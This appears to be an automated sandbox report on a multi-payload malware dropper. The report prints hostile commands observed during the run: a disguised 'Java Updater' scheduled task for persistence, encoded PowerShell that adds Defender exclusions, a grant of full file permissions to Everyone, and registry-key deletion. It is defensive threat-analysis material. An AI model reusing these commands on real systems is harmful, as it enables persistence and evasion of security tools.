marsstealer | bfe1158258e04a58d37eab94edfe9cdf88438a0f7244747d73f81fd7c5798c4b

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	petya.exe

ModiLoader Second Stage 1 IoCs

resource	yara_rule
behavioral1/memory/3504-291-0x0000000002FE0000-0x0000000003FE0000-memory.dmp	modiloader_stage2

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	petya.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	petya.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Executes dropped EXE 16 IoCs

pid	Process
3296	spectrum.exe
4940	hostingBypass.exe
4884	MEMZ.exe
4780	build22.exe
4680	petya.exe
4340	pc raper.exe
5444	Cry.exe
3664	wannacry.exe
236	sample_stub.exe
948	HorionInjector.exe
1140	Nemezida.exe
5736	Java Updater.exe
1744	Optimiser.exe
3504	CHROME.exe
3388	taskdl.exe
2340	4363463463464363463463463.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4144164418-4152157973-2926181071-1000\Software\Wine	petya.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5920	icacls.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

VMProtect packed file 1 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral1/files/0x001e00000002b205-497.dat	vmprotect

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	petya.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4680	petya.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	scary.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Optimiser.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MEMZ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskdl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pc raper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wannacry.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Cry.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CHROME.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	petya.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sample_stub.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4304	schtasks.exe
3068	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5840	powershell.exe
5840	powershell.exe
5316	powershell.exe
5316	powershell.exe
4680	petya.exe
4680	petya.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	5840	powershell.exe
Token: SeDebugPrivilege	5316	powershell.exe
Token: SeDebugPrivilege	3296	spectrum.exe
Token: SeDebugPrivilege	4780	build22.exe
Token: SeDebugPrivilege	948	HorionInjector.exe
Token: SeDebugPrivilege	5736	Java Updater.exe
Token: SeDebugPrivilege	1140	Nemezida.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3464 wrote to memory of 5840	3464	scary.exe	78
PID 3464 wrote to memory of 5840	3464	scary.exe	78
PID 3464 wrote to memory of 5840	3464	scary.exe	78
PID 3464 wrote to memory of 5316	3464	scary.exe	80
PID 3464 wrote to memory of 5316	3464	scary.exe	80
PID 3464 wrote to memory of 5316	3464	scary.exe	80
PID 3464 wrote to memory of 3296	3464	scary.exe	82
PID 3464 wrote to memory of 3296	3464	scary.exe	82
PID 3464 wrote to memory of 4940	3464	scary.exe	83
PID 3464 wrote to memory of 4940	3464	scary.exe	83
PID 3464 wrote to memory of 4884	3464	scary.exe	84
PID 3464 wrote to memory of 4884	3464	scary.exe	84
PID 3464 wrote to memory of 4884	3464	scary.exe	84
PID 3464 wrote to memory of 4780	3464	scary.exe	85
PID 3464 wrote to memory of 4780	3464	scary.exe	85
PID 3464 wrote to memory of 4680	3464	scary.exe	86
PID 3464 wrote to memory of 4680	3464	scary.exe	86
PID 3464 wrote to memory of 4680	3464	scary.exe	86
PID 3464 wrote to memory of 4340	3464	scary.exe	87
PID 3464 wrote to memory of 4340	3464	scary.exe	87
PID 3464 wrote to memory of 4340	3464	scary.exe	87
PID 3296 wrote to memory of 4304	3296	spectrum.exe	89
PID 3296 wrote to memory of 4304	3296	spectrum.exe	89
PID 3464 wrote to memory of 5444	3464	scary.exe	91
PID 3464 wrote to memory of 5444	3464	scary.exe	91
PID 3464 wrote to memory of 5444	3464	scary.exe	91
PID 3464 wrote to memory of 3664	3464	scary.exe	92
PID 3464 wrote to memory of 3664	3464	scary.exe	92
PID 3464 wrote to memory of 3664	3464	scary.exe	92
PID 3464 wrote to memory of 3112	3464	scary.exe	93
PID 3464 wrote to memory of 3112	3464	scary.exe	93
PID 3464 wrote to memory of 3112	3464	scary.exe	93
PID 3464 wrote to memory of 236	3464	scary.exe	94
PID 3464 wrote to memory of 236	3464	scary.exe	94
PID 3464 wrote to memory of 236	3464	scary.exe	94
PID 3464 wrote to memory of 948	3464	scary.exe	96
PID 3464 wrote to memory of 948	3464	scary.exe	96
PID 3664 wrote to memory of 5876	3664	wannacry.exe	97
PID 3664 wrote to memory of 5876	3664	wannacry.exe	97
PID 3664 wrote to memory of 5876	3664	wannacry.exe	97
PID 3664 wrote to memory of 5920	3664	wannacry.exe	98
PID 3664 wrote to memory of 5920	3664	wannacry.exe	98
PID 3664 wrote to memory of 5920	3664	wannacry.exe	98
PID 3464 wrote to memory of 1140	3464	scary.exe	101
PID 3464 wrote to memory of 1140	3464	scary.exe	101
PID 3296 wrote to memory of 5736	3296	spectrum.exe	102
PID 3296 wrote to memory of 5736	3296	spectrum.exe	102
PID 3464 wrote to memory of 1744	3464	scary.exe	103
PID 3464 wrote to memory of 1744	3464	scary.exe	103
PID 3464 wrote to memory of 1744	3464	scary.exe	103
PID 3464 wrote to memory of 3504	3464	scary.exe	104
PID 3464 wrote to memory of 3504	3464	scary.exe	104
PID 3464 wrote to memory of 3504	3464	scary.exe	104
PID 3664 wrote to memory of 3388	3664	wannacry.exe	105
PID 3664 wrote to memory of 3388	3664	wannacry.exe	105
PID 3664 wrote to memory of 3388	3664	wannacry.exe	105
PID 3664 wrote to memory of 5796	3664	wannacry.exe	106
PID 3664 wrote to memory of 5796	3664	wannacry.exe	106
PID 3664 wrote to memory of 5796	3664	wannacry.exe	106
PID 5736 wrote to memory of 3068	5736	Java Updater.exe	109
PID 5736 wrote to memory of 3068	5736	Java Updater.exe	109
PID 1744 wrote to memory of 4916	1744	Optimiser.exe	111
PID 1744 wrote to memory of 4916	1744	Optimiser.exe	111
PID 1744 wrote to memory of 4916	1744	Optimiser.exe	111

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5876	attrib.exe
3292	attrib.exe

C:\Users\Admin\AppData\Local\Temp\scary.exe
"C:\Users\Admin\AppData\Local\Temp\scary.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3464
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAYgBsACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGUAegBsACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAQQByAGUAIAB5AG8AdQAgAGEAbgAgAGkAZABpAG8AdAA/ACcALAAnACcALAAnAE8ASwAnACwAJwBRAHUAZQBzAHQAaQBvAG4AJwApADwAIwBlAHEAagAjAD4A"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5840
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAZgByACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHcAaABpACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHoAegBnACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGEAdwByACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5316
- C:\Users\Admin\AppData\Roaming\spectrum.exe
  "C:\Users\Admin\AppData\Roaming\spectrum.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3296
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /tn "Java Updater" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\spectrum.exe" /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4304
- - C:\Users\Admin\AppData\Roaming\SubDir\Java Updater.exe
    "C:\Users\Admin\AppData\Roaming\SubDir\Java Updater.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5736
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "Java Updater" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Java Updater.exe" /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3068
- C:\Users\Admin\AppData\Roaming\hostingBypass.exe
  "C:\Users\Admin\AppData\Roaming\hostingBypass.exe"
  2⤵
  - Executes dropped EXE
  PID:4940
- - C:\Windows\system32\cmd.exe
    /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    PID:4912
- C:\Users\Admin\AppData\Roaming\MEMZ.exe
  "C:\Users\Admin\AppData\Roaming\MEMZ.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4884
- C:\Users\Admin\AppData\Roaming\build22.exe
  "C:\Users\Admin\AppData\Roaming\build22.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4780
- C:\Users\Admin\AppData\Roaming\petya.exe
  "C:\Users\Admin\AppData\Roaming\petya.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Writes to the Master Boot Record (MBR)
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:4680
- C:\Users\Admin\AppData\Roaming\pc raper.exe
  "C:\Users\Admin\AppData\Roaming\pc raper.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4340
- C:\Users\Admin\AppData\Roaming\Cry.exe
  "C:\Users\Admin\AppData\Roaming\Cry.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5444
- - C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
    "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
    3⤵
    - Executes dropped EXE
    PID:2340
- - C:\Users\Admin\AppData\Local\Temp\a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
    "C:\Users\Admin\AppData\Local\Temp\a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe"
    3⤵
    PID:3704
- - C:\Users\Admin\AppData\Local\Temp\asena.exe
    "C:\Users\Admin\AppData\Local\Temp\asena.exe"
    3⤵
    PID:5084
- C:\Users\Admin\AppData\Roaming\wannacry.exe
  "C:\Users\Admin\AppData\Roaming\wannacry.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3664
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h .
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:5876
- - C:\Windows\SysWOW64\icacls.exe
    icacls . /grant Everyone:F /T /C /Q
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:5920
- - C:\Users\Admin\AppData\Roaming\taskdl.exe
    taskdl.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3388
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 114581744440010.bat
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5796
  - - C:\Windows\SysWOW64\cscript.exe
      cscript.exe //nologo m.vbs
      4⤵
      PID:1840
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s F:\$RECYCLE
    3⤵
    - Views/modifies file attributes
    PID:3292
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\V1.5 App view (1) (1).bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3112
- C:\Users\Admin\AppData\Roaming\sample_stub.exe
  "C:\Users\Admin\AppData\Roaming\sample_stub.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:236
- C:\Users\Admin\AppData\Roaming\HorionInjector.exe
  "C:\Users\Admin\AppData\Roaming\HorionInjector.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:948
- C:\Users\Admin\AppData\Roaming\Nemezida.exe
  "C:\Users\Admin\AppData\Roaming\Nemezida.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1140
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:2664
- C:\Users\Admin\AppData\Roaming\Optimiser.exe
  "C:\Users\Admin\AppData\Roaming\Optimiser.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1744
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHkAdgBlACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAZwB3ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGMAagBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGkAcABlACMAPgA="
    3⤵
    PID:4916
- - C:\Users\Admin\AppData\Local\Temp\Optimiser.exe
    "C:\Users\Admin\AppData\Local\Temp\Optimiser.exe"
    3⤵
    PID:1112
- C:\Users\Admin\AppData\Roaming\CHROME.exe
  "C:\Users\Admin\AppData\Roaming\CHROME.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3504

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Pre-OS Boot

T1542

Bootkit

T1542.003

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion